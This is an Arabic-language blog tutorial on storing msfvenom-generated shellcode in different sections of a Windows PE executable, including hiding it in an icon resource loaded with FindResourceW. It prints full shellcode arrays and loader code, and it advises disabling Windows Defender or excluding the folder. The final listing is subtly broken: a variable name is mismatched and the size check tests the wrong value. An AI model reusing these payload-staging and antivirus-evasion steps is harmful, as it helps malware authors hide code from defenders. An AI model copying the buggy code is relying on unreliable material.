السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ
اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،
[+] في المقالة اللـ فاتت عرفنا عن ملفات الـ PE والهيكل بتاعها .. وتحديدا جزء الـ Sections ، وعرفنا وظيفة كل سيكشن إيه.
[+] فـ المقالة دي بقي ، هنتكلم عن لو معاك ShellCode ، إزاي تقدر تخليه يتنقل بين السكشنز فـ ملف الـ PE.
[+] وتحديدا هنتكلم عن:
[+] قبل مـ نبدأ محتاجين الأول نـ Generate الـ ShellCode اللـ هنشتغل بيه.
[+] هنروح ع الـ Kali Linux machine ، أو أي
ماشين عندك عليها الـ Metasploit ،
وهنستخدم تحديدا الـ
Msfvenom.
[+] هنـ رن الكوماند:
msfvenom -p windows/x64/exec CMD=calc.exe -f cشيل كود وظيفته يفتح الـ Calculator ، والبايلود من نوع exec
عشان ينفذ الكود من الـ CMD وع ويندوز نظام الـ 64-bit .. والـ f- دا
بقوله إن الكود يكون مناسب لـ
لغة برمجة الـ C.
(وطبعا تقدر تعمل الشيل كود اللـ انت عاوزه .. انا هنا عملت مجرد مثال بسيط لتوضيع الفكرة ، واللـ بعد كده إنت ودماغك)
وبكدا نكون جاهزين نبدأ.
main.c اللـ هنكتب جواه الكود.
<windows.h> والـ <stdio.h> .. وهنضيف الشيل كود
اللـ
عملناه (انا بس
غيرت الإسم من buf لـ OurShellCode).
main function ، ومثلا ممكن
نطبع الـ address بتاع الشيل كود ده فين فـ الميموري ، وضيفت
الـ ()getchar عشان البرنامج ميقفلش ويستني مني أضغط ع أي زرار.
Windows Defender هيمسكه ، يا توقفه يا
تعمل للفولدر
كله exclusive)
Build البروچيكت اللطيف
ده ، وهنعمله ع نمط الـ Release ، ونشوف هل فعلا الشيل كود
بتاعنا موجود فـ منطقة الـ [Data.] ولا
لا.
[Data.] ، وعشان نتأكد إن هو فعلا
، إرجع للكود وشوف بداية ونهاية الشيل كود هتلاقيه البداية
0xFC4883 والنهاية 0x786500 .. يعني
فعلا إحنا صح.
[+] ودا كدا الكود النهائي للـ Data Placement:
#include <Windows.h>
#include <stdio.h>
unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
printf("[-] ShellCode Address: 0x%p", OurShellCode);
getchar();
return 0;
}
[+] طب إيه الإختلاف اللـ هنعمله المرادي؟ مُجرد هنزود كلمة const فـ بداية الـ variable بتاع الشيل كود.
const:
[+] بس كدا ؟ طب إزاي ؟؟
فكره منطقة الـ rdata إنها بتتعامل مع القيم الثابته ، فـ عشان ننقل الشيل كود من الـ data للـ rdata هنحتاج نعرفه إن المتغير اللـ عملناه ده ، مبقاش متغير ، قيمته بقت ثابته.
Build البروچيكت بنفس الطريقة اللـ فاتت.
[+] ودا كدا الكود النهائي للـ Rdata Placement:
#include <Windows.h>
#include <stdio.h>
const unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
printf("[-] ShellCode Address: 0x%p", OurShellCode);
getchar();
return 0;
}
[+] هنغير إيه بقي المرادي؟
بُص يسيدي ، مجرد هتضيف سطرين صغيرين بس وهما:
#pragma section(".text")
__declspec(allocate(".text"))
[+] ودي هتجبر الـ compiler إنه ياخد الداتا دي ويحطها فـ سكشن الـ [text.].
[+] ودا كدا الكود النهائي للـ Text Placement:
#include <Windows.h>
#include <stdio.h>
#pragma section(".text")
__declspec(allocate(".text")) const unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
int main() {
printf("[-] ShellCode Address: 0x%p", OurShellCode);
getchar();
return 0;
}
[+] هنا بقي وصلنا للـ Big Boss ، المنطقة اللـ أغلبية الهكرز الجامدين بيحطوا أي شيل كود تبهم هنا .. طب ليه المنطقة دي تحديدا ؟ هقولك فـ اخر المقالة.
[+] بس فـ مشكلة حاليا ، المنطقة دي بيكون فيها الصور والأيقونات اللـ تبع أي برنامج .. إزاي هنضيف هنا الشيل كود؟تعالي بقي نبدأ الحدوته:
عشان نعمل ده ، محتاجين نرجع للـ Kali Linux machine ، ونخلي الـ Msfvenom تعمل نفس الشيل كود ، بس
المرادي تخليه فـ أيقونه ، من خلال الكوماند ده:
msfvenom -p windows/x64/exec CMD=calc.exe -o calc.ico
[+] تعالي أقولك إزاي هنضيف الأيقونه دي جوا الـ Visual Studio:
main.c:
Right-click > add > New item > Show All Temples > Resource > Resource File > Add.
Right-click > Add Resource > Import > All Files (*.*) > choose calc.ico > OPEN_EXISTING
main.c ، واقفل الـ
Resource View .. هتلاقي إن انضاف جزء
جديد اسمه Resource.h ..
هتضيفه فـ الكود بالشكل ده:
[+] وبكدا تكون جاهز ، ومن أول هنا هنبدأ نكتب الكود ، بس قبل مـ أشرحلك الكود .. هقولك نظرة سريعة ع إيه الحاجات اللـ هنستخدمها وبتعمل إيه:
()FindResourceW ، ودي دورها إنها
بتدور جوا الـ Resources ع ملف معين.
()SizeofResource.()LoadResource.()LockResource.
[+] يلا بينا هنبدأ شرح الكود:
hRsrc من نوع HRSRC وحطيت فيه NULL كـ بداية ..
وبيتخزن فيه
الراجع من العملية ()FindResourceW.
HRSRC hRsrc = NULL;
hRsrc = FindResourceW(NULL, MAKEINTRESOURCE(IDR_RSRCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
()FindResourceW ، ودي اللـ
اتكلمنا عنها فوق .. وعشان تفهم استخدامها صح تقدر تشوف الـ
Documentation بتاعها من [هنا].
Resource.h وتضغط Ctrl + Left-Click .. وهيظهرلك تعريف
الأيقونه.
IF Statement
.. لو العملية فشلت بترجع NULL وعرفنا
معلومة زي دي بناءا ع
الـ Documentation.
sPayloadSzize من نوع SIZE_T
وحطيت فيه NULL ، ودا بيتخزن فيه
الراجع من العملية ()SizeofResource.
SIZE_T sPayloadSzize = NULL;
sPayloadSzize = SizeofResource(NULL, hRsrc);
if (hRsrc == 0) {
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
وبكدا المفروض تكون فهمت الفكرة ومش محتاج أشرح الجزئين الباقيين لإنهم زي بعض.
HGLOBAL hGlobal = NULL;
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
PVOID pPayloadAddress = NULL;
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
[+] بكدا يكون الكود خلص .. الكود النهائي:
ضيفت مجرد عملتين طباعة بحيث نشوف عنوان الأيقونه .. وحجم الشيل كود بتاعنا.
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
int main() {
HRSRC hRsrc = NULL;
SIZE_T sPayloadSzize = NULL;
HGLOBAL hGlobal = NULL;
PVOID pPayloadAddress = NULL;
hRsrc = FindResourceW(NULL, MAKEINTRESOURCE(IDR_RSRCDATA1), RT_RCDATA);
if (hRsrc == NULL) {
printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
return -1;
}
sPayloadSzize = SizeofResource(NULL, hRsrc);
if (hRsrc == 0) {
printf("[!] SizeofResource Failed With Error : %d \n", GetLastError());
return -1;
}
hGlobal = LoadResource(NULL, hRsrc);
if (hGlobal == NULL) {
printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
return -1;
}
pPayloadAddress = LockResource(hGlobal);
if (pPayloadAddress == NULL) {
printf("[!] LockResource Failed With Error : %d \n", GetLastError());
return -1;
}
printf("[i] pPayloadAddress var : 0x%p \n", pPayloadAddress);
printf("[i] sPayloadSize var : %ld \n", sPayloadSize);
getchar();
return 0;
}
Build ، ونشوف ع Total PE .. هنلاقي إن الشيل كود بتاعنا فعلا موجود.
هنتكلم دلوقتي عن الصلاحيات للأماكن اللـ ذكرناهم فوق:
| الصلاحيات | السيكشن |
|---|---|
| Read - Write | data |
| Read | rdata |
| Read - Execute | text |
| Read | rsrc |
[+] طب هل الصلاحيات دي مهمة ؟ بمعني إني لو حطيت الشيل كود فـ منطقة زي الـ rsrc اللـ هي بصلاحيات قراءة فقط .. ، معني كده إنه مش هيشتغل؟
()HeapAlloc
عشان
نحجز مكان فـ الميموري .. واستخدمنا كمان ()memcpy عشان ننقل
الكود بتاعنا للمنطقة المحجوزة فـ الميموري.[+] طب ليه الهاكرز بيحبوا منطقة الـ rsrc ؟
قولتلك فوق إن هتعرف فـ آخر المقالة ، وجه الوقت أقولك .. بيفضلوا المكان ده لإن :
وبكدا . أتمني تكون استفدت حاجه .. ونلتقي فـ مقالة قادمة .. ولو عندك أي تعليق ، استفسار ، أي حاجه .. متترددش وكلمني.
خدلك لفة فـ المصادر والمراجع يا عزيزي: